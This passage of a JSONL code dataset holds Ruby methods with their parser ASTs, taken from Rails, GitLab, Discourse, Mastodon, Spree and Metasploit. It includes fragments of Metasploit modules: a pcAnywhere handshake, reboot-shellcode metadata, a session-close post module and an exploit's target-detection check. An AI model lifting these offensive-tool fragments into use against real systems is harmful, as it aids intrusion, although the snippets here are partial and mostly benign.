nsock.get_once(-1, 5) unless pca_at_login?(res)\n    unless pca_at_login?(res)\n      print_error(\"Handshake(5) failed on Host #{ip} aborting. Error: #{res.inspect}\")\n      return :handshake_failed\n    end\n  end","complexity_score":48.13,"ast_json":"{\"type\":\"def\",\"children\":[\"pca_handshake\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]},{\"type\":\"optarg\",\"children\":[\"nsock\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sock\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nsock\"]},\"get_once\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"==\",{\"type\":\"str\",\"children\":[\"\\u001bb\\u0000\\u0002\\u0000\\u0000\\u0000\"]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Handshake(3) failed on Host \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\" aborting. Error: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"inspect\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"handshake_failed\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nsock\"]},\"put\",{\"type\":\"str\",\"children\":[\"ob\\u0001\\u0002\\u0000\\u0000\\u0000\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nsock\"]},\"get_once\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"include?\",{\"type\":\"str\",\"children\":[\"\\u0000}\\b\"]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Handshake(4) failed on Host \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\" aborting. Error: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"inspect\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"handshake_failed\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pca_at_login?\",{\"type\":\"lvar\",\"children\":[\"res\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nsock\"]},\"get_once\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pca_at_login?\",{\"type\":\"lvar\",\"children\":[\"res\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Handshake(5) failed on Host \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\" aborting. Error: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"inspect\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"handshake_failed\"]}]}]}]}]}]}","id":"25b4b0e8-d2ea-4770-954e-4b5a6397991d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/support/formatters/test_metrics_formatter.rb","start_line":355,"raw_source":"def custom_metrics(metadata, type)\n          custom_metrics = metadata[CUSTOM_METRICS_KEY]\n          return {} unless custom_metrics\n          return {} unless custom_metrics.is_a?(Hash) && custom_metrics[type].is_a?(Hash)\n\n          custom_metrics[type].to_h do |key, value|\n            k = key.to_sym\n            v = value.is_a?(Numeric) || value.nil? ? value : value.to_s\n\n            [k, v]\n          end\n        end","complexity_score":21.6,"ast_json":"{\"type\":\"def\",\"children\":[\"custom_metrics\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"metadata\"]},{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"custom_metrics\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metadata\"]},\"[]\",{\"type\":\"const\",\"children\":[null,\"CUSTOM_METRICS_KEY\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_metrics\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_metrics\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_metrics\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"type\"]}]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_metrics\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"type\"]}]},\"to_h\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"k\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_sym\"]}]},{\"type\":\"lvasgn\",\"children\":[\"v\",{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Numeric\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"nil?\"]}]},{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_s\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]}]}]}","id":"11ef0245-96f2-464c-8dbc-9bb5a4b533cd"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/inventory/persister.rb","start_line":22,"raw_source":"def persist!\n    InventoryRefresh::SaveInventory.save_inventory(manager, inventory_collections)\n    publish_inventory(manager, target)\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"persist!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"InventoryRefresh\"]},\"SaveInventory\"]},\"save_inventory\",{\"type\":\"send\",\"children\":[null,\"manager\"]},{\"type\":\"send\",\"children\":[null,\"inventory_collections\"]}]},{\"type\":\"send\",\"children\":[null,\"publish_inventory\",{\"type\":\"send\",\"children\":[null,\"manager\"]},{\"type\":\"send\",\"children\":[null,\"target\"]}]}]}]}","id":"2bd22f02-c957-4422-8b20-e2ef083d68b9"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/auth/current_user_provider.rb","start_line":18,"raw_source":"def log_on_user(user, session, cookie_jar, opts = {})\n    raise NotImplementedError\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"log_on_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"session\"]},{\"type\":\"arg\",\"children\":[\"cookie_jar\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NotImplementedError\"]}]}]}","id":"608be28a-db93-4c79-a1ac-beee4c8789c1"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/sqlite3/quoting_test.rb","start_line":39,"raw_source":"def test_type_cast_true\n    assert_equal 1, @conn.type_cast(true)\n  end","complexity_score":2.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_type_cast_true\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conn\"]},\"type_cast\",{\"type\":\"true\",\"children\":[]}]}]}]}","id":"b68558cf-540d-46ba-973e-36e4891d24c3"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/lib/mastodon/cli/maintenance_spec.rb","start_line":452,"raw_source":"def duplicate_preview_cards\n          PreviewCard.where(url: url)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"duplicate_preview_cards\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PreviewCard\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"send\",\"children\":[null,\"url\"]}]}]}]}]}","id":"e760b6e2-3a6d-470c-8088-a660bbe88244"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/linux/mipsbe/reboot.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      merge_info(\n        info,\n        'Name' => 'Linux Reboot',\n        'Description' => %q{\n          A very small shellcode for rebooting the system.\n          This payload is sometimes helpful for testing purposes or executing\n          other payloads that rely on initial startup procedures.\n        },\n        'Author' => [\n          'Michael Messner <devnull[at]s3cur1ty.de>', # metasploit payload\n          'rigan - <imrigan[at]gmail.com>' # original payload\n        ],\n        'References' => [\n          ['URL', 'http://www.shell-storm.org/shellcode/files/shellcode-795.php']\n        ],\n        'License' => MSF_LICENSE,\n        'Platform' => 'linux',\n        'Arch' => ARCH_MIPSBE,\n        'Payload' => {\n          'Offsets' => {},\n          'Payload' => ''\n        }\n      )\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Linux Reboot\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          A very small shellcode for rebooting the system.\\n\"]},{\"type\":\"str\",\"children\":[\"          This payload is sometimes helpful for testing purposes or executing\\n\"]},{\"type\":\"str\",\"children\":[\"          other payloads that rely on initial startup procedures.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Michael Messner <devnull[at]s3cur1ty.de>\"]},{\"type\":\"str\",\"children\":[\"rigan - <imrigan[at]gmail.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://www.shell-storm.org/shellcode/files/shellcode-795.php\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_MIPSBE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offsets\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]}]}","id":"272a37c7-7a8a-4a26-9446-4b23d0074a22"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/attribute_methods.rb","start_line":382,"raw_source":"def aliases_by_attribute_name # :nodoc:\n        @aliases_by_attribute_name ||= Hash.new { |h, k| h[k] = [] }\n      end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"aliases_by_attribute_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@aliases_by_attribute_name\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"h\"]},{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}","id":"4e58b89c-1fe7-4048-acb0-b77b4523f5a1"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/join_model_test.rb","start_line":351,"raw_source":"def test_has_many_through_join_model_with_conditions\n    assert_equal [], posts(:welcome).invalid_taggings\n    assert_equal [], posts(:welcome).invalid_tags\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_has_many_through_join_model_with_conditions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"welcome\"]}]},\"invalid_taggings\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"welcome\"]}]},\"invalid_tags\"]}]}]}]}","id":"45229cf2-f56b-4603-bccd-6a787cc88525"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/pipelines/hook_service.rb","start_line":27,"raw_source":"def hook_data\n        strong_memoize(:hook_data) do\n          Gitlab::DataBuilder::Pipeline.build(pipeline)\n        end\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"hook_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"hook_data\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"DataBuilder\"]},\"Pipeline\"]},\"build\",{\"type\":\"send\",\"children\":[null,\"pipeline\"]}]}]}]}","id":"84008d00-674b-493e-befc-098ab4e7581b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/general/close.rb","start_line":27,"raw_source":"def run\n    print_status(\"Closing session #{session.inspect}...\")\n    session.kill\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Closing session \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"kill\"]}]}]}","id":"09a775cc-4566-43dc-9b0d-407565ea929c"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-chat-integration/app/models/rule.rb","start_line":129,"raw_source":"def tags_valid?\n    return if tags.nil?\n\n    tags.each do |tag|\n      errors.add(:tags, \"#{tag} is not a valid tag\") if !Tag.where(name: tag).exists?\n    end\n  end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"tags_valid?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tags\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tags\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tag\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"tag\"]}]}]}]},\"exists?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]}]},{\"type\":\"str\",\"children\":[\" is not a valid tag\"]}]}]},null]}]}]}]}","id":"326fdb01-975d-43f7-88f3-31f850239cc5"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/user_silencer.rb","start_line":6,"raw_source":"def initialize(user, by_user = nil, opts = {})\n    @user, @by_user, @opts = user, by_user, opts\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"optarg\",\"children\":[\"by_user\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\"]},{\"type\":\"ivasgn\",\"children\":[\"@by_user\"]},{\"type\":\"ivasgn\",\"children\":[\"@opts\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"by_user\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}","id":"dacc8257-5391-4f97-839e-79f2a511c955"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/test/cases/test_helper_test.rb","start_line":1128,"raw_source":"def test_assert_no_performed_jobs_with_no_block\n      assert_nothing_raised do\n        assert_no_performed_jobs\n      end\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assert_no_performed_jobs_with_no_block\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_no_performed_jobs\"]}]}]}","id":"6c47f391-51a0-4498-a521-cfc6f29da54c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/base.rb","start_line":470,"raw_source":"def check_selectors?\n          @check_selectors.nil? ? true : @check_selectors\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"check_selectors?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@check_selectors\"]},\"nil?\"]},{\"type\":\"true\",\"children\":[]},{\"type\":\"ivar\",\"children\":[\"@check_selectors\"]}]}]}","id":"21707d13-c7e7-43f5-9ec0-a509649ae33e"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/storefront/cart_controller.rb","start_line":33,"raw_source":"def add_item\n            spree_authorize! :update, spree_current_order, order_token\n            spree_authorize! :show, @variant\n\n            result = add_item_service.call(\n              order: spree_current_order,\n              variant: @variant,\n              quantity: add_item_params[:quantity],\n              public_metadata: add_item_params[:public_metadata],\n              private_metadata: add_item_params[:private_metadata],\n              options: add_item_params[:options]\n            )\n\n            render_order(result)\n          end","complexity_score":20.2,"ast_json":"{\"type\":\"def\",\"children\":[\"add_item\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree_authorize!\",{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"send\",\"children\":[null,\"spree_current_order\"]},{\"type\":\"send\",\"children\":[null,\"order_token\"]}]},{\"type\":\"send\",\"children\":[null,\"spree_authorize!\",{\"type\":\"sym\",\"children\":[\"show\"]},{\"type\":\"ivar\",\"children\":[\"@variant\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_item_service\"]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"send\",\"children\":[null,\"spree_current_order\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"variant\"]},{\"type\":\"ivar\",\"children\":[\"@variant\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"quantity\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_item_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"quantity\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"public_metadata\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_item_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"public_metadata\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_metadata\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_item_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"private_metadata\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_item_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"options\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render_order\",{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}","id":"e8a4b022-3717-427d-a22e-09cc0e78cf6f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/web_hooks/events/resend_service.rb","start_line":11,"raw_source":"def execute\n        return unauthorized_response unless authorized?\n        return url_changed_response unless web_hook_log.url_current?\n\n        web_hook_log.web_hook.execute(web_hook_log.request_data, web_hook_log.trigger,\n          idempotency_key: web_hook_log.idempotency_key)\n      end","complexity_score":18.8,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorized?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unauthorized_response\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"web_hook_log\"]},\"url_current?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"url_changed_response\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"web_hook_log\"]},\"web_hook\"]},\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"web_hook_log\"]},\"request_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"web_hook_log\"]},\"trigger\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"idempotency_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"web_hook_log\"]},\"idempotency_key\"]}]}]}]}]}]}","id":"84d10327-43b9-4dab-b29d-dd3d5965bd5c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/mobilecartly_upload_exec.rb","start_line":64,"raw_source":"def check\n    uri = normalize_uri(target_uri.path)\n    uri << '/' if uri[-1, 1] != '/'\n    base = File.dirname(\"#{uri}.\")\n\n    res = send_request_raw({ 'uri' => normalize_uri(uri, \"/index.php\") })\n    if res and res.body =~ /MobileCartly/\n      return Exploit::CheckCode::Detected\n    else\n      return Exploit::CheckCode::Safe\n    end\n  end","complexity_score":17.55,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"int\",\"children\":[1]}]},\"!=\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"<<\",{\"type\":\"str\",\"children\":[\"/\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"base\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"dirname\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"lvar\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/index.php\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"MobileCartly\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}]}","id":"1c50b96d-22a3-4743-a926-197e84aa63ed"}
